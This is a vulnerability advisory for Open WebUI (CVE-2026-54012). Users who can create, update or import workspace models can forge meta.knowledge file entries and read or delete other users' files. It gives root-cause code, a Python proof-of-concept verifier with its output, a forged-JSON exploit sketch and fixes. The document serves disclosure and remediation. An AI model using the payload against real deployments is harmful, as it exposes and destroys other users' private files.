PT-2026-50484 · Pypi · Open-Webui

Published

2026-06-17

·

Updated

2026-06-17

·

CVE-2026-54012

CVSS v3.1

7.1

High

VectorAV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

Open WebUI lets a user who can create, update, or import workspace models store arbitrary meta.knowledge entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats meta.knowledge entries of type file as an authorization source in two places: the built-in view file tool reads the file's extracted text, and has access to file()'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.

Impact

Security boundary crossed: file confidentiality and integrity.
An authenticated attacker needs the workspace.models or workspace.models import permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:
  • read the file's extracted text (up to 100000 characters per view file call from file.data.content),
  • read the file's content via GET /api/v1/files/{id}/content, and
  • delete the file via DELETE /api/v1/files/{id}.

Root Cause

ModelMeta allows extra metadata fields and ModelForm accepts that metadata without a validator for meta.knowledge file access:
python
# backend/open webui/models/models.py
class ModelForm(BaseModel):
  model config = ConfigDict(extra='ignore')

  id: str
  base model id: Optional[str] = None
  name: str
  meta: ModelMeta
  params: ModelParams
Model creation only checks the caller's model-workspace permission and then stores the form data:
python
# backend/open webui/routers/models.py
if user.role != 'admin' and not await has permission(
  user.id, 'workspace.models', request.app.state.config.USER PERMISSIONS, db=db
):
  raise HTTPException(...)

model = await Models.insert new model(form data, user.id, db=db)
The insert sink persists the supplied meta:
python
# backend/open webui/models/models.py
result = Model(
  **{
    **form data.model dump(exclude={'access grants'}),
    'user id': user id,
    ...
  }
)
When built-in tools are assembled, meta.knowledge is passed through as model knowledge, and any file entry enables view file:
python
# backend/open webui/utils/tools.py
model knowledge = model.get('info', {}).get('meta', {}).get('knowledge', [])
...
knowledge types = {item.get('type') for item in model knowledge}
if 'file' in knowledge types or 'collection' in knowledge types:
  builtin functions.append(view file)
view file treats matching model knowledge file IDs as authorization, before has access to file():
python
# backend/open webui/tools/builtin.py
if (
  file.user id != user id
  and user role != 'admin'
  and not any(
    item.get('type') == 'file' and item.get('id') == file id for item in ( model knowledge  or [])
  )
  and not await has access to file(...)
):
  return json.dumps({'error': 'File not found'})
The same forged meta.knowledge is also trusted outside the tool path. has access to file() iterates the caller's accessible models and returns true when a model's meta.knowledge contains the requested file ID:
python
# backend/open webui/utils/access control/files.py
for model in await Models.get models by user id(user.id, permission=access type, db=db):
  knowledge items = getattr(model.meta, 'knowledge', None) or []
  for item in knowledge items:
    if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id:
      return True
This branch is not restricted to read, so it also satisfies the write check that DELETE /api/v1/files/{id} performs. The same missing validation applies to the import path (POST /api/v1/models/import) and the update path, not only create.

PoC

python
#!/usr/bin/env python3
"""
Verifier for forged model meta.knowledge file entries reaching builtin tools.

The proof executes:
 - the real Models.insert new model() sink with a forged meta.knowledge entry
 - the real builtin view file() authorization branch

Fake DB/model adapters are used only to avoid requiring a live Open WebUI
server. The security-sensitive code under test is Open WebUI application code.
"""

from  future  import annotations

import asyncio
import ast
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace

REPO = Path( file ).resolve().parents[1]
BUILTIN TOOLS = REPO / "backend/open webui/tools/builtin.py"


def prepare imports() -> None:
  sys.path.insert(0, str(REPO / "backend"))
  os.environ["VECTOR DB"] = "none"

  class DummyTyper:
    def command(self, *args, **kwargs):
      return lambda fn: fn

  sys.modules.setdefault(
    "typer",
    types.SimpleNamespace(
      Typer=lambda *args, **kwargs: DummyTyper(),
      Option=lambda *args, **kwargs: None,
      echo=lambda *args, **kwargs: None,
      Exit=Exception,
    ),
  )
  sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeDb:
  def  init (self):
    self.added = []
    self.committed = False
    self.refreshed = False

  def add(self, row):
    self.added.append(row)

  async def commit(self):
    self.committed = True

  async def refresh(self, row):
    self.refreshed = True


class FakeDbContext:
  def  init (self, db):
    self.db = db

  async def  aenter (self):
    return self.db

  async def  aexit (self, exc type, exc, tb):
    return False


async def verify model insert accepts victim file(victim file id: str):
  import open webui.models.models as models module

  fake db = FakeDb()
  original context = models module.get async db context
  original set grants = models module.AccessGrants.set access grants
  original to model = models module.Models. to model model

  async def fake set access grants(*args, **kwargs):
    return True

  async def fake to model(self, model, access grants=None, db=None):
    return SimpleNamespace(
      id=model.id,
      user id=model.user id,
      base model id=model.base model id,
      name=model.name,
      params=model.params,
      meta=model.meta,
      access grants=[],
      is active=model.is active,
      created at=model.created at,
      updated at=model.updated at,
    )

  try:
    models module.get async db context = lambda db=None: FakeDbContext(fake db)
    models module.AccessGrants.set access grants = fake set access grants
    models module.Models. to model model = types.MethodType(fake to model, models module.Models)

    inserted = await models module.Models.insert new model(
      models module.ModelForm(
        id="attacker-model",
        base model id="gpt-vision-base",
        name="Attacker Model",
        params={},
        meta={
          "knowledge": [
            {
              "id": victim file id,
              "type": "file",
              "name": "victim-private.txt",
            }
          ],
          "builtinTools": {"knowledge": True},
        },
      ),
      user id="attacker",
    )
  finally:
    models module.get async db context = original context
    models module.AccessGrants.set access grants = original set grants
    models module.Models. to model model = original to model

  stored meta = [getattr(row, "meta", None) for row in fake db.added]
  stored knowledge ids = [
    item.get("id")
    for meta in stored meta
    for item in ((meta or {}).get("knowledge") or [])
  ]

  return {
    "insert returned model": bool(inserted),
    "db commit called": fake db.committed,
    "stored user ids": [getattr(row, "user id", None) for row in fake db.added],
    "stored model ids": [getattr(row, "id", None) for row in fake db.added],
    "stored knowledge file ids": stored knowledge ids,
  }


async def verify view file trusts model knowledge(victim file id: str):
  class FakeFiles:
    looked up ids = []

    async def get file by id(self, file id, db=None):
      self.looked up ids.append(file id)
      if file id == victim file id:
        return SimpleNamespace(
          id=victim file id,
          user id="victim",
          filename="victim-private.txt",
          data={"content": "PRIVATE MODEL KNOWLEDGE SECRET"},
          created at=1,
          updated at=2,
        )
      return None

  async def fake has access to file(file id, access type, user, db=None):
    return False

  class FakeUserModel:
    def  init (self, **kwargs):
      self. dict .update(kwargs)

  fake files = FakeFiles()
  fake files module = types.SimpleNamespace(Files=fake files)
  fake file acl module = types.SimpleNamespace(has access to file=fake has access to file)

  original files module = sys.modules.get("open webui.models.files")
  original acl module = sys.modules.get("open webui.utils.access control.files")

  try:
    sys.modules["open webui.models.files"] = fake files module
    sys.modules["open webui.utils.access control.files"] = fake file acl module

    source = BUILTIN TOOLS.read text(encoding="utf-8")
    tree = ast.parse(source, filename=str(BUILTIN TOOLS))
    selected = [
      node
      for node in tree.body
      if isinstance(node, ast.AsyncFunctionDef) and node.name == "view file"
    ]
    if len(selected) != 1:
      raise RuntimeError("could not find view file")
    module = ast.Module(body=selected, type ignores=[])
    ast.fix missing locations(module)
    ns = {
      "json": json,
      "Optional":  import ("typing").Optional,
      "Request": object,
      "UserModel": FakeUserModel,
      "log": SimpleNamespace(exception=lambda *args, **kwargs: None),
      "MAX VIEW FILE CHARS": 100 000,
      "DEFAULT VIEW FILE MAX CHARS": 10 000,
    }
    exec(compile(module, str(BUILTIN TOOLS), "exec"), ns)
    view file = ns["view file"]

    denied without model knowledge = await view file(
      victim file id,
       request =SimpleNamespace(),
       user ={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
       model knowledge =[],
    )
    allowed with model knowledge = await view file(
      victim file id,
       request =SimpleNamespace(),
       user ={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
       model knowledge =[{"id": victim file id, "type": "file"}],
    )
  finally:
    if original files module is not None:
      sys.modules["open webui.models.files"] = original files module
    else:
      sys.modules.pop("open webui.models.files", None)
    if original acl module is not None:
      sys.modules["open webui.utils.access control.files"] = original acl module
    else:
      sys.modules.pop("open webui.utils.access control.files", None)

  denied = json.loads(denied without model knowledge)
  allowed = json.loads(allowed with model knowledge)
  return {
    "file ids looked up": fake files.looked up ids,
    "without model knowledge": denied,
    "with forged model knowledge": allowed,
    "private content disclosed": allowed.get("content") == "PRIVATE MODEL KNOWLEDGE SECRET",
  }


async def main() -> None:
  prepare imports()
  victim file id = "victim-private-file"

  insert sink = await verify model insert accepts victim file(victim file id)
  tool read = await verify view file trusts model knowledge(victim file id)

  result = {
    "confirmed": (
      insert sink["insert returned model"] is True
      and insert sink["stored user ids"] == ["attacker"]
      and insert sink["stored knowledge file ids"] == [victim file id]
      and tool read["without model knowledge"].get("error") == "File not found"
      and tool read["private content disclosed"] is True
    ),
    "attacker user id": "attacker",
    "victim user id": "victim",
    "victim file id": victim file id,
    "attacker owns file": False,
    "model insert sink": insert sink,
    "tool read": tool read,
    "source": {
      "insert sink": "backend/open webui/models/models.py:Models.insert new model",
      "tool injection": "backend/open webui/utils/tools.py:get builtin tools passes model meta.knowledge as  model knowledge ",
      "read sink": "backend/open webui/tools/builtin.py:view file",
    },
  }
  print(json.dumps(result, indent=2, sort keys=True))
  if not result["confirmed"]:
    raise SystemExit(1)


if  name  == " main ":
  asyncio.run(main())
The PoC executes the real Models.insert new model() sink and the real view file() authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in meta.knowledge, then confirms view file() denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.
Result:
json
{
 "attacker owns file": false,
 "attacker user id": "attacker",
 "confirmed": true,
 "model insert sink": {
  "db commit called": true,
  "insert returned model": true,
  "stored knowledge file ids": [
   "victim-private-file"
  ],
  "stored model ids": [
   "attacker-model"
  ],
  "stored user ids": [
   "attacker"
  ]
 },
 "tool read": {
  "private content disclosed": true,
  "with forged model knowledge": {
   "content": "PRIVATE MODEL KNOWLEDGE SECRET",
   "filename": "victim-private.txt",
   "id": "victim-private-file"
  },
  "without model knowledge": {
   "error": "File not found"
  }
 },
 "victim file id": "victim-private-file",
 "victim user id": "victim"
}

Exploit Sketch

  1. Attacker has permission to create or update workspace models.
  2. Attacker creates a model with:
json
{
 "meta": {
  "knowledge": [
   {
    "id": "VICTIM FILE ID",
    "type": "file",
    "name": "victim-private.txt"
   }
  ],
  "builtinTools": {
   "knowledge": true
  }
 }
}
  1. Attacker chats with that model using native/built-in tools and invokes view file for VICTIM FILE ID.
  2. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.

Recommended Fix

Validate meta.knowledge on every model write path: create, update, and import. For entries with type == "file", require direct ownership, admin role, or has access to file(file id, 'read', user, db=db) before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as 403, not 500.
Do not let view file() treat model knowledge as an authorization bypass; it should still enforce ownership/admin/has access to file() per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.

Consolidation

Per our Report Handling policy this consolidates independent reports of the same model meta.knowledge file-ID laundering flaw:
  • Read via forged meta.knowledge on model create, through the built-in view file tool: @0xEr3n (earliest filing).
  • Distinct paths demonstrated by @5yu4n: the import endpoint (POST /api/v1/models/import), and cross-user read and deletion through the file API (GET / DELETE /api/v1/files/{id}) via has access to file()'s model branch.
Fix validates meta.knowledge ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.

Fix

Improper Authorization

Improper Access Control

Missing Authorization

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-54012
GHSA-VJQM-6GCC-62CR

Affected Products

Open-Webui